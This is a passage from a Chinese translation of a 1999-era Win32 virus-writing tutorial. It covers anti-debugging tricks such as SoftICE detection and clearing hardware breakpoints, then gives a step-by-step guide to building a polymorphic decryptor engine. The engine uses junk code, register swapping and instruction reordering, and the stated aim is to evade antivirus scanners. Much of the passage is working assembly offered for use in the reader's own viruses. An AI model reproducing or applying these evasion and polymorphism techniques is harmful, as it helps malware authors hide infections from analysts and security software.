push 00001010h ; Show "Debugger found!"
push offset szTitle
push offset msg1
push 0
call MessageBoxA
exit:
push 00000000h ; Exit program
call ExitProcess
end antidebug1
;--------到这儿为止剪切------------------------------------------------------
很美妙吧?Micro$oft为我们做了这个工作:)但是,毫无疑问,不要期望这个方法对SoftICE有效,上帝;)
%Win32:知道我们是否被一个调试器调试的另外一个方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你看了由Murkry/iKX写的在Xine-3中发表的"Win95 Structures and Secrets"这篇文章的话,你将意识到在FS寄存器中有一个非常酷的结构。看看FS:[20h]域...它是'DebugContext'。只要这么做:
mov ecx,fs:[20h]
jecxz not_being_debugger
[...] <--- do whatever, we're being debugged :)
所以,如果FS:[20h]是0,我们就没有被调试。只要享受这个小而简单的方法来检测调试器!当然了,这个不能对SoftICE有效...
%Win32:用SEH来停止应用级调试器%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我仍然还不知道为什么,但是如果程序简单地使用了SEH,应用级调试器就死了。而且如果我们制造错误,代码模拟器也死了:)SEH,正如我在我的发表在DDT#1中的一篇文章所说的,可以用来达到很多有意思的目的。你可以看看“高级Win32技术”(Advanced Win32 techniques)这一章的SEH部分。
你所必须做的是使SEH handler指向你想继续执行代码的地方,而当SEH handler被安装了,你激活了一个标志(一个好的选择是在00000000h内存地址试图做些事情);)
我希望你看懂了这个。如果没有...恩,忘记它:)而且,正如以前其它的方法一样,这个对SoftICE没有用。
%Win9X:检测SoftICE (I) %
~~~~~~~~~~~~~~~~~~~~~~~~
这里,我必须向Super/29A致敬,因为他是告诉我这个方法的人。我把这个分成两个部分:在这个部分中,我们将看到从一个Ring-0病毒的角度该怎么做。我不会给出整个例子程序,因为它将占一些不必要的行,但是你必须知道这个方法必须是在Ring-0下执行,而且因为Call-back问题(你还记得吗?),VxDCall必须重建。
我们将使用Virtual Machine Manager (VMM) 的Get_DDB服务,所以这个服务将为00010146h (VMM_Get_DDB)。让我们看看SDK中关于这个服务的信息。
-------------------------------------
mov eax, Device_ID
mov edi, Device_Name
int 20h ; VMMCall Get_DDB
dd 00010146h
mov [DDB], ecx
- 确定一个VxD是否对特定设备安装了,如果安装了就会返回一个那个设备的DDB。
- 使用ECX,flags(标志)。
- 如果函数成功会返回指定设备的DDB;
- 否则,返回0。
?Device_ID:设备标志符。对于基于名字的设备,这个参数可以为0。
?Device_Name:一个8-字符的设备名,不够用空字符填充。如果Device_ID为0的时候,这个参数才被需要。设备名大小写敏感。
-------------------------------------
现在,你想要知道为什么了,非常简单,SoftICE VxD的Device_ID域对于所以程序来说是一个常量,正如它在Micro$oft注册的,所以我们就有了对付不可思议的SoftICE的武器了。它的Device_ID总是202h。所以我们应该使用如下的代码:
mov eax,00000202h
VxDCall VMM_Get_DDB
xchg eax,ecx
jecxz NotSoftICE
jmp DetectedSoftICE
NotSoftICE应该是继续我们的病毒代码的地方,而DetectedSoftICE标记应该是既然我们已经知道我们的敌人还活着,该采取一些行动的地方,我不建议任何破坏性的事情,因为,例如,将会伤害我的电脑,因为我总是使得SoftICE处于激活状态:)
% Win9X: 检测 SoftICE (II) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
下面是另外一种方法来检测我所钟爱得SoftICE的存在,但是基于以前的同样的观点: 202h ;) 我必须再次对Super致敬:)好了,在Ralph Brown的中断列表中,我们可以看到一个在中断2Fh(多元)的1684h服务。
----------------------------------------------
Inp.:
AX = 1684h
BX = virtual device (VxD) ID (看 #1921)
ES:DI = 0000h:0000h
返回: ES:DI -> VxD API 入口, 或者 0:0 如果这个 VxD 不支持一个API
说明: 一些Windows增强-模式虚拟设备提供了一些应用程序可以访问的服务。例如,Virtual Display Device(VDD)提供了由WINOLDAP轮流使用的API。
----------------------------------------------
所以,你在BX中放一个202h,并指向这个函数。然后你要说了...“嗨,Billy... 我用于中断多傻呀?"。我的回答是...使用VxDCALL0!!!
% Win32: 检测SoftICE (III) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你正等待的是比较权威的和令人惊奇的招...同时在Win9x 和 WinNT环境寻找SoftICE!它非常简单,100%基于API,而且没有"脏"招来进行兼容性。这个答案并没有你想的那么隐蔽...关键是在你肯定以前已经用过的API函数中:CreateFile。是的,那个API...不迷人吗?好了,我得试图打开下面的东西:
+ SoftICE for Win9x : "//./SICE"
+ SoftICE for WinNT : "//./NTICE"
如果这个API返回给我们和-1 (INVALID_HANDLE_VALUE)不同的东西,SoftICE就是处于激活状态!下面是演示程序:
;--------从这里开始剪切--------------------------------------------------------
.586p
.model flat
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "SoftICE detection",0
szMessage db "SoftICE for Win9x : "
answ1 db "not found!",10
db "SoftICE for WinNT : "
answ2 db "not found!",10
db "(c) 1999 Billy Belcebu/iKX",0
nfnd db "found! ",10
SICE9X db "//./SICE",0
SICENT db "//./NTICE",0
.code
DetectSoftICE:
push 00000000h ; Check for the presence of
push 00000080h ; SoftICE for Win9x envirome-
push 00000003h ; nts...
push 00000000h
push 00000001h
push 0C0000000h
push offset SICE9X
call CreateFileA
inc eax
jz NoSICE9X
dec eax
push eax ; Close opened file
call CloseHandle
lea edi,answ1 ; SoftICE found!
call PutFound
NoSICE9X:
push 00000000h ; And now try to open SoftICE
push 00000080h ; for WinNT...
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
push offset SICENT
call CreateFileA
inc eax
jz NoSICENT
dec eax
push eax ; Close file handle
call CloseHandle
lea edi,answ2 ; SoftICE for WinNT found!
call PutFound
NoSICENT:
push 00h ; Show a MessageBox with the
push offset szTitle ; results
push offset szMessage
push 00h
call MessageBoxA
push 00h ; Terminate program
call ExitProcess
PutFound:
mov ecx,0Bh ; Change "not found" by
lea esi,nfnd ; "found"; address of where
rep movsb ; to do the change is in EDI
ret
end DetectSoftICE
;--------到这里为止剪切--------------------------------------------------------
这个真的起作用了,相信我:)这个同样的方法可以应用于其它"敌对"驱动,只要对它研究一点点就可以了。
% Win9X: 杀掉调试器硬件断点 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你是否在想调试寄存器(DR?),我们有一个小问题:它们在WinNT下是特权级指令。这一招由这些简单的事情组成:注意DR0, DR1, DR2 和DR3(它们由调试器用来作为硬件断点的)。所以,简单的使用这个代码,你就可以避开调试器:
xor edx,edx
mov dr0,edx
mov dr1,edx
mov dr2,edx
mov dr3,edx
哈哈,是不是很有意思呀?:)
%最后的话%
~~~~~~~~~~
这是一些简单的反调试招。我希望你能够在你的病毒中没有任何问题的使用它们,看你了!
【Win32 多态(Win32 polymorphism)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
许多人对我说,在我的MS-DOS病毒教程中最大的弱点是多态那一章(btw,我是在15岁的时候写的它,我知道汇编仅仅1个月)。但是基于这个原因,我将试图另外写一个,全新的,从0开始。从那时起我读了许多多态的文档,而且毫无疑问,对我影响最大的是Qozah的,虽然它非常简单,他解释了我们在编写一个多态引擎(如果你想读它,从病毒站点下载DDT#1)更应该清楚的所有概念。我将在这一章里提到真正最基础的东西,所以如果你已经有这方面的基础知识了,跳过去!
%介绍%
~~~~~~
多态存在的主要原因是,总是和反病毒软件的存在相关的。在那个没有多态引擎的时代,反病毒软件通过简单地使用一个扫描字符串来检测病毒,它们最困难地是加密了地病毒。所以,一个病毒编写者有了一个天才的想法。我敢肯定他在想“为什么我不编写一个不可扫描的病毒呢,这是通过技术来实现?”然后,多态诞生了。多态意味着在一个加了密的病毒中包括解密部分之内,排除所有可能的恒定不变的字节来避免被扫描。是的,多态意味着为病毒建立变化的解密程序。呵呵,简单而有效。这是基本的概念:永远不要建立两个一样(在外观上)的解密程序,但是总是能完成相同的功能。它好像是加密的自然扩展,但是因为加密代码还不是足够短,它们可以通过一个字符串来抓住,但是,利用多态,字符串就没有用了。
%多态级别%
~~~~~~~~~~
每个级别的多态都有它自己的名字,是由反病毒者给的。让我们用AVPVE的一小段来看看它(好样的,Eugene)。
-----------------------------------------
根据这些病毒的解密代码的复杂性,对于多态病毒有一个分级系统。这个系统是由Dr. Alan Solomon提出然后由Vesselin Bontchev改进的。
第1级:病毒有一些不变的解密代码集合,在感染的时候会选择一个。这种病毒被叫做"semi-polymorphic"或者"oligomorphic"。
例子:"Cheeba", "Slovakia", "Whale"。
第2级:病毒解密程序包含一个或几个不变的指令,其它的都是改变的。
第3级:解密程序有没有用的函数-“垃圾”如NOP, CLI, STI,等等。
第4级:解密程序使用可互换的指令并改变它们的顺序(指令混合)。解密算法保持不变。
第5级:上述提到的所有技术都用到了,解密算法也是可变的,重复加密病毒代码甚至部分地加密解密程序本身代码也是可能的。
第6级:交换病毒。病毒的主要代码以改变为条件进行改变,在感染的时候随机的分成了记过部分。尽管那样,病毒还是能继续工作。这样的病毒可能没有加密。
这样的分类仍然有缺点,因为主要标准是在病毒标志的惯例技术的帮助下根据解密程序的代码来检测病毒的可能性:
第1级:为了检测病毒是否足够有一些标志
第2级:通过使用“百搭牌(wild cards)”的帮助来检测病毒
第3级:利用检测“垃圾”代码来检测病毒
第4级:标志包含一些版本的可能代码,也就是算法
第5级:使用标志不可能检测到病毒
这种分类在第3级的多态病毒,只是按照它这么叫的"第3级"就可以看出不足了。这个病毒是最复杂的多态病毒之一,根据当前的分类而到了第3级目录中了,因为它有一个不变的解密算法前面是大量的“垃圾”指令。然而,在这个病毒中“垃圾”产生算法几乎是完美的:在解密代码中可能会找到几乎所有的i8086指令。
如果病毒按照现在的反病毒观点来分到这个级别,使用自动解密病毒代码(模拟)系统,那么这个分类将会基于病毒代码的复杂性。其它病毒检测技术也是可能的,例如,在原始的数学规律的帮助下解密,等等。
因此,如果除了病毒标志线索外,其它的参数也考虑了,这个分类在我心目中的分类更客观。
1.多态代码的复杂度(所有的处理指令在整个解密代码中占的比例)
2.反模拟技术使用
3.解密算法的恒定chdu
4.机密程序长度的恒定程度
我不想更详细的讨论这些了,因为结果是将会导致厉害的病毒编写者们创造出这种类型的怪物。
-----------------------------------------
%我怎样来编写一个多态呢%
~~~~~~~~~~~~~~~~~~~~~~~~
首先,你必须在必须在你的脑海中清楚你想要使你的解密程序是什么样。例如:
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那是一个非常简单的例子,是吗?我们这里主要有6块(每个指令是一块)。想象一下你使得那个代码不一样有多少种可能性呢:
- 改变寄存器
- 改变头3个指令的顺序
- 为了达到同样的目的使用不同的指令
- 插入什么也不做的指令
- 插入垃圾等等。
这是多态的主要思想。让我们看看对这个同样的解密程序,用一个简单的多态引擎初始的可能解密代码:
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
[...]
你明白了思想了没?对于一个病毒分析者来说,明白这样一个解密程序不是非常困难(对他们来说比一个没有加密的病毒要困难多了)。还可以做许多改进,相信我。我想你意识到了我们需要在我们的多态引擎中有不同的函数:一个用来为解密程序创造“合法”的指令,另外一个用来创造垃圾。这是你在编写一个多态引擎时必须有的主要主意。从这一点开始,我将尽可能的更好地解释这个。
%非常重要地东西:RNG%
~~~~~~~~~~~~~~~~~~~~~
是的,在一个多态引擎中最重要的部分是随机数发生器(Random Number Generator),即RNG。一个RNG是一段能够返回一个彻底随机的数的代码。下面是DOS下的一个经典的程序,在Win9X下,甚至在Ring-3工作,但是不能在NT中工作。
random:
in eax,40h
ret
这个将会在EAX的MSW中返回0,LSW中返回一个随机值。但是,这个不够强大...我们必须招另外一个...这得靠你了。这里我所能做的唯一一件事情是用一个小程序让你知道你的RNG是否强大。它在Win32.Marburg(作者GriYo/29A)的发作中也是由GriYo测试的这个病毒的RNG。毫无疑问,这个代码被合适的修改了,这样可以被容易的编译和执行。
;------从这里开始剪切-----------------------------------------------------------------
;
; RNG Tester
; ==========
;
; 如果屏幕上的图标是真正的被“随机的”放置了,那么这个RNG就是一个不错的,但是如果如果图
; 标是在屏幕的相同位置,或者你主意到图标在屏幕上有奇怪的行为,试试另外的RNG。
.386
.model flat
res_x equ 800d ; Horizontal resolution
res_y equ 600d ; Vertical resolution
extrn LoadLibraryA:PROC ; All the APIs needed by the
extrn LoadIconA:PROC ; RNG tester
extrn DrawIcon:PROC
extrn GetDC:PROC
extrn GetProcAddress:PROC
extrn GetTickCount:PROC
extrn ExitProcess:PROC
.data
szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz string
a_User32 dd 00000000h ; Variables needed
h_icon dd 00000000h
dc_screen dd 00000000h
rnd32_seed dd 00000000h
rdtsc equ <dw 310Fh>
.code
RNG_test:
xor ebp,ebp ; Bah, i am lazy and i havent
; removed indexations of the
; code... any problem?
rdtsc
mov dword ptr [ebp+rnd32_seed],eax
lea eax,dword ptr [ebp+szUSER32]
push eax
call LoadLibraryA
or eax,eax
jz exit_payload
mov dword ptr [ebp+a_User32],eax
push 32512
xor edx,edx
push edx
call LoadIconA
or eax,eax
jz exit_payload
mov dword ptr [ebp+h_icon],eax
xor edx,edx
push edx
call GetDC
or eax,eax
jz exit_payload
mov dword ptr [ebp+dc_screen],eax
mov ecx,00000100h ; Put 256 icons in the screen
loop_payload:
push eax
push ecx
mov edx,eax
push dword ptr [ebp+h_icon]
mov eax,res_y
call get_rnd_range
push eax
mov eax,res_x
call get_rnd_range
push eax
push dword ptr [ebp+dc_screen]
call DrawIcon
pop ecx
pop eax
loop loop_payload
exit_payload:
push 0
call ExitProcess
; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;
random proc
push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,eax
imul eax,41C64E6Dh
add eax,00003039h
mov dword ptr [ebp+rnd32_seed],eax
xor eax,ecx
pop edx
pop ecx
ret
random endp
get_rnd_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
get_rnd_range endp
end RNG_test
;------到这里为止剪切-----------------------------------------------------------------
它很有意思,至少对我来说是这样的,为了看看不同数学操作的作用。
% 多态引擎的基本概念 %
~~~~~~~~~~~~~~~~~~~~~~~~
我想你应该知道我将要解释什么了,所以,如果你已经编写了一个多态引擎,或者你知道怎么创建一个,我肯定建议你跳过这一段,或者你将开始谴责我的愚蠢,这是我不想要的。
首先,我们将要在一个临时缓冲去通常是堆里产生代码,但是也可以很容易地利用VirtualAlloc 或者 GlobalAlloc API函数来开辟内存。我们只是把一个指针指向这个缓冲内存区域地开始,而且这个寄存器通常是EDI,因为通过使用STOS类地指令可以优化。所以我们要在这块内存缓冲里放置操作码字节。Ok,ok,如果你仍然认为我很糟因为我总是举一些代码例子来解释东西,我将表明你错了。
;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪馁
;
.386 ; Blah
.model flat
.data
shit:
buffer db 00h
.code
Silly_I:
lea edi,buffer ; Pointer to the buffer
mov al,0C3h ; Byte to write, in AL
stosb ; Write AL content where EDI
; points
jmp shit ; As the byte we wrote, C3,
; is the RET opcode, we fi-
; nish the execution.
end Silly_I
;------到这里为止剪切-----------------------------------------------------------------
编译上面地代码,看看发生了什么。呵?我知道它不是什么事情也没做。但是你看到了,你产生了代码,不是直接编写的,而且我给你表明了你从0开始初始代码,并想想可能性,你可以从一个什么也没有的缓冲区里面初始一整个有用的代码。这是多态引擎代码(不是多态引擎产生的代码)怎样初始解密代码的基本概念。所以,想象一下我们要编写如下的指令:
mov ecx,virus_size
mov edi,offset crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那么,从上面的代码产生的解密程序将会这样:
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
mov al,0BFh : MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,offset crypt ; Offset32 to store
stosd ; Store EAX where EDI points
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key ; Imm32 to store
stosd ; Store EAX where EDI points
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
OK,然后你已经产生了它应该是什么模样的代码,但是你意识到了在真正的代码中加一些什么也不做的指令非常简单,通过使用同样的方法。你可以用一个字节的指令实验一下,例如,看看它的兼容能力。
;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; ===================================
;
.386 ; Blah
.model flat
virus_size equ 12345678h ; Fake data
crypt equ 87654321h
crypt_key equ 21436587h
.data
db 00h
.code
Silly_II:
lea edi,buffer ; Pointer to the buffer
; is the RET opcode, we fi-
; nish the execution.
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0BFh ; MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,crypt ; Offset32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key
stosd ; Store EAX where EDI points
call onebyte
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
ret
random:
in eax,40h ; Shitty RNG
ret
onebyte:
call random ; Get a random number
and eax,one_size ; Make it to be [0..7]
mov al,[one_table+eax] ; Get opcode in AL
stosb ; Store AL where EDI points
ret
one_table label byte ; One-byters table
lahf
sahf
cbw
clc
stc
cmc
cld
nop
one_size equ ($-offset one_table)-1
buffer db 100h dup (90h) ; A simple buffer
end Silly_II
;------到这里为止剪切-----------------------------------------------------------------
呵呵,我建立了一个很弱的3级,比2级强一些的多态引擎:)寄存器交换将在后面解释,因为它随着操作码格式变。但是我在这个小子章节里的目标达到了:你现在应该知道了我们想要做什么。想象一下你使用两个字节而不是一个字节,如PUSH REG/POP REG, CLI/STI, 等等。
%“真正”代码产生%
~~~~~~~~~~~~~~~~~~
让我们再看看我们的指令。
mov ecx,virus_size ; (1)
lea edi,crypt ; (2)
mov eax,crypt_key ; (3)
@@1: xor dword ptr [edi],eax ; (4)
add edi,4 ; (5)
loop @@1 ; (6)
为了达到同样的目的,但是用不同的代码,许多事情可以做,而且这是我们的目标。例如,前3个指令可以以其它的顺序排列,而且结果不会改变,所以你可以创建一个使它们的顺序随机的函数。而且我们可以使用其它的寄存器,没有任何问题。而且我们可以使用一个dec/jnz来取代一个loop...等,等,等...
- 你的代码应该能够产生,例如,如下的能够处理一个简单指令,让我们想象一下,第一个mov:
mov ecx,virus_size
或者
push virus_size
pop ecx
或者
mov ecx,not (virus_size)
not ecx
或者
mov ecx,(virus_size xor 12345678h)
xor ecx,12345678h
等, 等, 等...
所有这些事情可以产生不同的操作码,而且完成同样的工作,也就是说,把病毒的大小放到ECX中。毫无疑问,有大量的可能性,因为你可以使用一个使用大量的指令来仅仅把一个值放到一个寄存器中。从你的角度它需要许多想象力。
- 另外一件事情是指令的顺序。正如我以前评论的,你可以很容易地没有任何问题地改变指令地顺序,因为对它们来说,顺序不重要。所以,例如,取代指令1,2,3,我们可以使它成为3,1,2或者1,3,2等等。只要让你的想象力发挥作用即可。
- 同样重要的是,交换寄存器,因为每个操作码也改变了(例如,MOV EAX,imm32被编码成B8 imm32而MOV ECX,imm32编码成B9 imm32)。你应该为解密程序从7个寄存器中使用3个寄存器(千万不要使用ESP!!!)。例如,想象一下我们选择(随机)3个寄存器,EDI作为基指针,EBX作为密钥而ESI作为计数器;然后我们可以使用EAX, ECX, EDX和EBP作为垃圾寄存器来产生垃圾指令。让我们来看看关于选3个寄存器来对解密程序产生的代码:
---------------------------------------
InitPoly proc
@@1: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@1 ; If it is, get another reg
mov byte ptr [ebp+base],al ; Store it
mov ebx,eax ; EBX = Base register
@@2: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@2 ; If it is, get another one
cmp eax,ebx ; Is equal to base pointer?
jz @@2 ; If it is, get another one
mov byte ptr [ebp+count],al ; Store it
mov ecx,eax ; ECX = Counter register
@@3: mov eax,8 ; Get random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is it ESP?
jz @@3 ; If it is, get another one
cmp eax,ebx ; Is equal to base ptr reg?
jz @@3 ; If it is, get another reg
cmp eax,ecx ; Is equal to counter reg?
jz @@3 ; If it is, get another one
mov byte ptr [ebp+key],al ; Store it
ret
InitPoly endp
------------------------------------
现在,你在3个不同的寄存器中有3个变量,我们可以自由地没有任何问题地使用。对于EAX寄存器我们有一个问题,不是非常重要,但是确实是一个问题。正如你所知道的,EAX寄存器有,在某些指令中,一个优化操作码。这不是一个问题,因为代码得到了同样的执行,但是启发将会发现一些代码是以一个不正确的方式建立的,一种一个"真正"汇编不会用的的方法。你有两种选择:如果你仍然想使用EAX,例如,作为你的代码中的"活跃"的寄存器,你应该检查它,如果能够优化它,或者简单的避免在解密程序中使用EAX寄存器作为"active"寄存器,并只是把它用来做垃圾,直接使用它的优化操作码(把它们建一个表将是一个很伟大的选择)。我们将在后面看到。我推荐使用一个标志寄存器,为了最终的垃圾游戏:)
%垃圾的产生%
~~~~~~~~~~~~
在质量中,垃圾的质量90%决定了你的多态引擎的质量。是的,我说的是“质量”而非你所想的“数量”。首先,我将列出你在编写一个多态引擎时的两个选择:
- 产生现实代码,以合法的应用代码面目出现。例如,GriYo的引擎。
- 产生尽可能多的代码,以一个破坏的文件面目出现。例如,Mental Driller的 MeDriPoLen(看看 Squatter)。
Ok,让我们开始吧:
?两个的共同点:
- 用很多不同方式调用(调用中嵌调用再嵌调用...)
- 无条件的跳转
?现实主义:
一些现实的东西是那些看起来真实的东西,虽然它并不是。对于这个我打算解释如下:如果你看到大量的没有CALL和JUMP的代码你会怎么想?如果在一个CMP后面没有一个条件跳转你会怎么想?它几乎是不可能的,正如你,我和反病毒者知道的。所以我们必须有能力产生所有这些类型的垃圾结构:
- CMP/条件跳转
- TEST/条件跳转
- 如果对EAX处理,总是使用优化的指令
- 使用内存访问
- 产生 PUSH/垃圾/POP 结构
- 产生非常少的只要一个字节的代码(如果有)
?精神摧毁...恩...象破坏代码:
这个当解密程序充满了无意义的操作码看起来不像代码的时候发生,也就是说不符合以前列出来的规则的代码,而且使用协处理器的不做任何事情的指令,当然了,使用的操作码越多越好。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在,我将试图解释代码产生的所有要点。首先,让我们以和它们相关的所有东西开始,CALL和无条件跳转。
?首先一点,CALL,它非常简单。你可以做成调用子例程,通过许多方式:
|Figure 1 -------| |Figure 2 -------| |Figure 3 -------|
| call @@1 | | jmp @@2 | | push @@2 |
| ... | | ... | | ... |
| jmp @@2 | |@@1: | |@@1: |
| ... | | ... | | ... |
|@@1: | | ret | | ret |
| ... | | ... | | ... |
| ret | |@@2: | |@@2: |
| ... | | ... | | ... |
|@@2: | | call @@1 | | call @@1 |
|________________| |________________| |________________|
当然你可以把所有的都混合起来,而且结果是,你有许多方式在一个解密程序内部编写一个子例程。而且,毫无疑问,你可以反过来(你将会听到我对它提更多的次数),而且可能在另外的CALL里有CALL,所有这些又在另外一个CALL里,然后另外一个...真的非常头疼。
此外,存储这些子例程的偏移并在产生的代码的任何地方调用它将是一个很好的选择。
?关于非条件跳转,它非常简单,因为我们不必要关心在jump之后知道jump的范围的指令,我们可以插入完全随机的操作码,比如垃圾...
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在,我打算代码中的现实主义。GriYo可以被称为这种类型的引擎的最伟大的代表;如果你看到了他的Marburg引擎, 或者他的HPS引擎,你将会意识到那个,虽然它的简易,他试图使得代码看起来尽可能真实,而且这个使得反病毒者在获得一个可靠的对付它的算法之前都快疯了。OK,让我们以一些基本要点开始:
?关于 'CMP/条件 jump' 结构,它相当清晰,因为你不放一个条件跳转,将从不会使用一个比较...OK,但是要编不是0跳转的jump,也就是说,在条件跳转和它应该跳转(或者不跳转)的偏移之间产生一些可执行的垃圾,而且在分析者的眼中,这些代码将更少地被怀疑。
?和TEST一样,但是使用JZ或者JNZ,因为正如你知道地,TEST仅仅会对zero flag有影响。
?最有可能制造失败的是AL/AX/EAX寄存器,因为它们有它们自己的优化代码。你将得到下面的指令的例子:
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和寄存器很紧密).
?关于内存访问,一个好的选择是至少要获得被感染的PE文件的512字节数据,把它们放到病毒的某处,然后访问它们,读或协。试着使用除了简单的指数,双精度数,而如果你的大脑能接受它,试着使用双指数相乘,例如[ebp+esi*4]。并不是你想的那么困难,相信我。你还可以做一些内存移动,用MOVS指示,还可以使用STOS, LODS, CMPS...所有的字符串操作也可以使用。这就靠你了。
?PUSH/垃圾/POP结构非常有用,因为它的加到引擎中的简单,还因为好的效果,因为它在一个合法程序中是一个非常普通的结构。
?一个字节的指令的数量,如果太多了,会暴露我们的存在给反病毒者,或者给那些有着好奇的眼睛的家伙。考虑普通程序不是很正常使用它们,所以最好作一个检测来避免过多的使用它们,但是仍然每25字节使用一两个(我认为这是一个不错的比率)。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
下面是一些精神摧毁型的东西:)
?你可以使用,例如,下面两个字节的协处理器指令是没有任何类型问题的垃圾:
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi,
fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan,
frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
只要在病毒的开始放这两个指令来重置协处理器:
fwait
fninit
Mental Driller现在正偏向于现实主义了(据我所知)由他的最近的令人印象深刻的引擎(TUAREG),所以...
% 指令建立 %
~~~~~~~~~~~~~~
这大概是和多态相关的最重要的事情了:关系在相同指令和不同寄存器之间存在,或者在两个相同家族的指令之间存在。如果我们把指变成二进制的话它们之间的关系就非常清晰了。但是,因此,一些有用的信息:
寄存器二进制形式 | 000 001 010 011 100 101 110 111
| -------------------------------
Byte 寄存器 | AL CL DL BL AH CH DH BH
Word 寄存器 | AX CX DX BX SP BP SI DI
扩展寄存器 | EAX ECX EDX EBX ESP EBP ESI EDI
段 | ES CS SS DS FS GS -- --
MMX 寄存器 | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
我认为在写我的《Virus Writing Guides for MS-DOS》时候,所犯的大错误是在我的解释OpCodes 结构部分,和所有那些东西。这里我想要描述的是许多"你自己做",就像我在写一个多态引擎时那样。只以一个XOR操作码为例...
xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412
你看到了不同了吗?我习惯利用一个调试器,然后写我想要用一些寄存器构造代码,看看有什么改变。OK,正如你能看到的(嗨!你没瞎吧?),改变的字节是第二个。现在是有趣的部分了:把值变成二进制形式。
F2 -> 11 110 010
F6 -> 11 110 110
OK,你看到了什么改变了吗?最后3个bit,对吗?好了,现在到我把寄存器以二进制表示的部分:)正如你已经发现的,这3个bit根据寄存器的改变而改变了。所以...
010 -> EDX 寄存器
110 -> ESI 寄存器
只要试着把那3个比特赋其它的二进制值,你将会发现寄存器是怎么改变的。但是要小心...不要使用用这个操作码EAX值(000),因为,所有的算术指令,都对EAX优化了,因此要彻底地改变操作码。
所以,调试所有你想要的构造,看看它们之间的关系,并建立产生任何东西的可靠的代码。它非常简单!
% Recursivity %
~~~~~~~~~~~~~~~~~
它在你的多态引擎中是一个非常重要的一点。recursivity必须有一个限度,但是依赖于那个限度,代码可以非常难理解(如果那个限度很高)。让我们想象一些有一个所有垃圾代码构造器的偏移表:
PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:
并想象一下你有在它们之中选择的如下例程:
GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret
现在想象一下你的'GenerateCALL'指令从内部调用'GenGarbage'例程。呵呵'GenGarbage'可以再次调用'GenerateCALL',并再次,然后再次(取决于RNG),所以你将有CALL在CALL中在CALL中...我已经在那件事情之前提了一个限度仅仅是为了避免速度问题,但是它可以用这些新的
'GenGarbage'例程来解决:
GenGarbage:
inc byte ptr [ebp+recursion_level]
